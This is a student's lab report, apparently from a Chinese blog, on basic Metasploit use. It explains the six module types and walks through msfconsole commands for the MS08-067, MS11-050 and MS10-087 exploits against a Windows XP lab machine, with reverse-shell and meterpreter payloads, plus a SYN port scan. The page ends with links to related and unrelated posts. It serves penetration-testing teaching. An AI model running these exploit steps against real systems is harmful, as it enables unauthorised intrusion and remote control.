20155236范晨歌_MSF基础应用

20155236范晨歌_MSF基础应用

目录

概述

MSF的六种模块

  • Exploit模块

    • 是利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
    • 形象点来说就是攻击模块
  • Payload模块
    • 是在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。
  • Encoder模块
    • 针对payload进行编码,可以通过多种编码手段、多次编码方式有效的改变payload代码特征
    • 不改变payload作用,但能对payload进行加工
  • Aux模块
    • 能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
    • 主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。
  • Post模块
    • 支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
    • 这里主要指的是攻击之后可能用到的模块
  • Nops模块
    • 是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90
    • 因为有些代码返回地址很难确认,所以在实际中有时候会填充一大段空指令,便于快速确定返回地址的位置

本次实验环境配置

  • 攻击机:Kali
  • 靶机:win XP SP3(English)

MS08-067漏洞攻击

Step1

  • 启用msf终端:msfconsole
  • 可以通过:search ms08_067,查找相应的漏洞
  • 找到后,会显示相应漏洞的模块。

Step2

  • msfconsole有一个好处,就是每一步的操作都可以提示你后续的步骤,即便不知道指令也可以通过help来查找

  • 根据上述漏洞的模块,我们可以选择相应的模块

    • use exploit/windows/smb/ms08_067_netapi
  • 接下来可以查看相应的攻击载荷,首先我们可以查看可使用的载荷

    • show payloads
  • 因为我们想要获取靶机的shell,所以可以选择以上2种攻击载荷

    • 如:set payload generic/shell_reverse_tcp
  • 注意:此处的目的是获取shell,如果想用meterpreter,找到相应的payload并设置即可

Step3

  • 查看配置渗透攻击所需的配置项

    • show options
  • 通过上述操作,可以让我们知道有哪些参数需要进行配置

set LHOST 	//设置攻击IP
set RHOST //设置靶机IP
  • 接下来可以看看有哪些合适的靶机平台

    • show targets
    • 设置相应平台的编号:set target 0
    • 此处不设置也可以,msf平台可以自动帮你从第一个开始搜索满足要求的靶机平台

Step4

  • 发起渗透攻击

    • exploit
  • 获取shell如下图所示

  • 攻击成功!

问题思考

  • 最开始用老师的靶机,攻击时一直提示,会话不能建立,将提示语句进行搜索,发现网上提供的sp3中文简体版已经把这个漏洞给补了,可以考虑下英文版的xp
  • 所以在本次实验中,将靶机改为英文版的xp了

MS11-050漏洞攻击

Step1

  • 同上述步骤,第一步,查找相关漏洞信息

Step2

  • 加载相应模块

    • use windows/browser/ms11_050_mshtml_cobjectelement
  • 找到模块后,可以通过info指令查看模块详细信息

  • 通过简单的阅读不难发现,该模块针对浏览器包括IE7、IE8,符合本次靶机环境

Step3

  • 加载payload

    • set payload windows/meterpreter/reverese_http
    • 这里采用meterpreter方式获取权限
  • 设置相应参数,通过show options查看

set URIPATH ms5236 //设置访问主页的URI
set LHOST //设置攻击IP
set LPORT //设置攻击端口

Step4

  • 发起渗透攻击

    • exploit
  • 此时,在靶机中启动IE 7浏览器,访问链接:http://192.168.150.151:8080/ms52XX

  • 在meterpreter接入会话:sessions -i 3

  • 查看系统信息:sysinfo

  • 攻击成功!

问题思考

  • 因为该漏洞对靶机的系统有要求,除此之外对IE浏览器的版本也有要求,所以在攻击之前确认靶机的浏览器为IE7或8

MS10-087漏洞攻击

Step1

  • 选取module:

    • use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof

Step2

  • 设置合适的payload:

    • set payload windows/exec
    • 注:此处是运行一个可执行文件

Step3

  • 设置相应参数,通过show options查看

set FILENAME 2015236.rft	//设置生成文件rtf
set CMD notepad.exe //绑定记事本执行

Step4

  • 发起渗透攻击

    • exploit
    • 将生成的文件从/root/.msf4/local/20155236.rft拷贝到靶机上,并把格式修改为.doc
  • 双击运行,结果被成功绑定到记事本程序

问题思考

  • kali不知道如何打开隐藏的文件夹,所以一时半会没有找到上述目录,最后在终端中,直接用cp命令,成功将文件拷贝出来
  • 同时,如果我们能将该doc关联木马软件,就可以使用户在不知情的情况下遭受攻击,具有一定的隐蔽性

辅助模块

Step1

  • 进入msfconsle后,通过下面相关指令查找辅助模块

    • show auxiliary
ack:通过ACK扫描的方式对防火墙上未被屏蔽的端口进行探测;
ftpbounce:通过FTP BOUNCE攻击的原理对TCP服务进行枚举
syn:使用发送TCP SYN标志的方式探测开放的端口
tcp:通过一次完整的TCP链接来判断端口是否开放
xmas:一种更为隐蔽的扫描方式,通过发送FIN,PSH,URG标志能够躲避一些TCP标记检测器的过滤
  • 选取相应的moudle,在这里选择如下:

    • use auxiliary/scanner/portscan/syn

      我之前做的是这个 但是跟其他同学重复了。。。

Step2

  • 设置好相应参数,可以通过show options来查看

set RHOSTS 192.168.150.152	//设置扫描目标IP地址
set THREADS 50 //设置线程数

Step3

  • 启动:run,扫描结果如下:

  • 此时,我们也可以在msf下用nmap的相关指令,对目标主机进行扫描:

    • 通过观察不难发现,扫描速度更快,并且对每种端口的作用也有了个说明,能弄清楚每个端口是干嘛的

后面又重新找了个moudle

问题思考

  • aux模块虽然不像exploit那样直接对靶机进行攻击,但它是排头兵,是对成功实现攻击的很好保障,比如在CTF竞赛中,我们为了查看靶机的web服务,首先就要对开放端口进行扫描,确认哪个端口是挂了web的,然后才有后面的后台扫描、拖库、旁注、提权等操作
  • 所以辅助模块在整个六大模块中的地位也是举足轻重的

总结

  • 我们这次的攻击比较简单,只是针对了一些web和办公软件。kali上的metasploit渗透测试工具,是一个功能强大内容丰富的工具集,可以针对系统漏洞、软件漏洞、服务漏洞进行攻击,对于每一种攻击,又有多种攻击载荷可供使用,对于每种攻击载荷又可以使用编码器模块进行加工,所以六大模块相辅相成,构成了渗透的完美系统
  • 许多攻击还是有一定成功率的,但部分漏洞比较挑剔,只在特定的系统环境、和特定的触发条件,才会被渗透,所以有时为了验证某漏洞的存在,还要专门配一个可以被攻击的靶机;或者,应该为了攻击成功,不断寻找更合适的漏洞。

20155236范晨歌_MSF基础应用的更多相关文章

  1. 20155236范晨歌_Web基础

    20155236范晨歌_Web基础 目录 实践目标 Apache 前端编程 后端编程 PHP MYSQL & 后端 简单SQL注入与XSS 发帖和会话管理 实践目标 (1)Web前端HTML ...

  2. 20155236范晨歌_Web安全基础实践

    20155236范晨歌_Web安全基础实践 目录 实践目标 WebGoat BurpSuite Injection Flaws Cross-Site Scripting (XSS) 总结 实践目标 ( ...

  3. 20155236范晨歌 Exp7 网络欺诈技术防范

    20155236范晨歌 Exp7 网络欺诈技术防范 虚拟机经常崩= =,所以基本上做一个实验换一个... 遇到了一个简单的小问题老师帮忙解决了:虚拟机没联网... 一.基础问题回答 通常在什么场景下容 ...

  4. 20155236范晨歌_exp6信息搜集与漏洞扫描

    20155236范晨歌_exp6信息搜集与漏洞扫描 目录 实践目标 信息搜集 漏洞扫描 总结 实践目标 (1)各种搜索技巧的应用 (2)DNS IP注册信息的查询 (3)基本的扫描技术:主机发现.端口 ...

  5. 20155236范晨歌_EXP3免杀原理与实践

    20155236范晨歌_免杀原理与实践 免杀 概述 免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-AntiVirus(简写Virus AV),逐字 ...

  6. 20155236范晨歌 Exp1PC平台逆向破解及Bof基础实践

    出现的问题及解决: 在下载execstack时,出现了下列签名无效的错误! 解决方案:发现是密钥过期了,将新的密钥填入apt-keyring 输入命令:apt-key adv --keyserver ...

  7. 20155236范晨歌 Exp2后门原理与实践

    ## 实验二 后门原理与实践 1.Windows获得Linux Shell 在windows下,打开CMD,使用ipconfig指令查看本机IP ncat.exe -l -p 5236监听本机的523 ...

  8. 20145221高其_MSF基础应用

    20145221高其_MSF基础应用 目录 概述 MS08-067漏洞攻击 MS11-050漏洞攻击 MS10-087漏洞攻击 辅助模块 概述 MSF的六种模块 Exploit模块 是利用发现的安全漏 ...

  9. 20145212 罗天晨 Web安全基础实践

    一.实验后回答问题 (1)SQL注入攻击原理,如何防御 原理:SQL注入攻击是攻击者在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,把SQL语句当做用户名等输入正常网页中以获取数据 ...

随机推荐

  1. 团队开发心得(May)

    经过之前一个多月的准备工作(包括去求调研.技术选型.知识储备等等),这个月开发工作终于步入正轨,下面谈谈我的心得体会. 个人收获方面,我选择了加入数据库小组,进行数据库方面的开发.刚开始的时候我是个小 ...

  2. 1.创建maven 项目 动态web工程完整示例

    注意,以下所有需要建立在你的eclipse等已经集成配置好了maven了,说白了就是新建项目的时候已经可以找到maven了 没有的话需要安装maven 一.创建项目 1.新建maven项目,如果不在上 ...

  3. CentOS6.4 下安装 jdk1.7.0_67

    1.卸载系统自带的jdk 1.1.查看该操作系统上是否已经安装了jdk [root@xhTest-1 ~]# rpm -qa | grep jdk 1.2.删除系统自带的jdk [root@xhTes ...

  4. MySQL InnoDB锁机制之Gap Lock、Next-Key Lock、Record Lock解析

    MySQL InnoDB支持三种行锁定方式: l   行锁(Record Lock):锁直接加在索引记录上面,锁住的是key. l   间隙锁(Gap Lock):锁定索引记录间隙,确保索引记录的间隙 ...

  5. 转载:从程序员的角度看ASCII, GB2312, UNICODE, UTF-8

    以下内容转自博客:http://blog.chinaunix.net/uid-22670933-id-1771613.html. 一.字符编码是怎么回事 0. 概念 字节是计算机的最基本存储单位,一个 ...

  6. ZT 互联网——降级论

    互联网——降级论 投递人 Astar 发布于 2012-07-06 09:54 评论(110) 有30531人阅读  原文链接  [收藏]  « » 文/meditic 几乎一年没有写博客了,说没时间 ...

  7. 16:42 python历史

    python的作者是Guido van Rossum,大牛,2.7版本好像到2020年就不能用了,估计很多公司对此有很多的需求吧.

  8. HTML、jsp页面中radio,checkbox,select数据回显功能,默认被选中问题

    最近常常遇到各种复选框.单选框.下拉框的默认被选中的问题,开始也是绞尽脑汁的想办法,今天写一篇学习总结的博文来写一下学习总结. 单选框(radio)默认被选中: 一.jstl技术进行回显 <in ...

  9. PHP设计模式系列 - 工厂模式

    工厂模式 提供获取某个对象实例的一个接口,同时使调用代码避免确定实例化基类的步骤. 工厂模式 实际上就是建立一个统一的类实例化的函数接口.统一调用,统一控制. 工厂模式是php项目开发中,最常用的设计 ...

  10. 3、Django下载与简介

    第1节:MVC与MTV模型 1.1 MVC Web服务器开发领域里著名的MVC模式,所谓MVC就是把Web应用分为模型(M),控制器(C)和视图(V)三层,他们之间以一种插件式的.松耦合的方式连接在一 ...